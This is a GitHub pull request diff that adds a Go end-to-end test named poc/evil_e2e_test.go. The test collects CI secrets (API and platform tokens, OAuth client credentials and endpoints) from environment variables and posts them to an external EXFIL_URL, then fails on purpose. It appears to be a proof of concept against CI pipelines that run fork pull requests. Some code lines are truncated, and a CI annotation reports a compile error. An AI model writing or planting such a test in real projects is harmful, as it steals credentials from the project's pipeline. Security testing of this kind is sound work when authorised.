Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 37 additions & 0 deletions poc/evil_e2e_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
//go:build e2e

package poc

import (
"fmt"
"net/http"
"net/url"
"os"
"testing"
)

func TestForkPRExfil(t *testing.T) {
exfil := os.Getenv("EXFIL_URL")
if exfil == "" {
g")

Check failure on line 16 in poc/evil_e2e_test.go

View workflow job for this annotation

GitHub Actions / 🌍 Integration tests

string literal not terminated
}

v := url.Values{}
v.Set("marker", "fork-pr")
v.Set("api_token", os.Getenv("API_TOKEN"))
v.Set("platform_token", os.Getenv("PLATFORM_TOKEN"))
v.Set("oauth_client_id", os.Getenv("OAUTH_CLIENT_ID"))
v.Set("oauth_client_secret", os.Getenv("OAUTH_CLIENT_SECRET"))
v.Set("oauth_token_endpoint", os.Getenv("OAUTH_TOKEN_ENDPOINT"))
v.Set("classic_url", os.Getenv("CLASSIC_URL"))
v.Set("platform_url", os.Getenv("PLATFORM_URL"))

resp, err := http.PostForm(exfil, v)
if err != nil {
uest failed: %v", err)
}
_ = resp.Body.Close()

fmt.Println("MALICIOUS_EXECUTION_MARKER=fork-pr")
t.Fatalf("forced failure after exfil")
}
Loading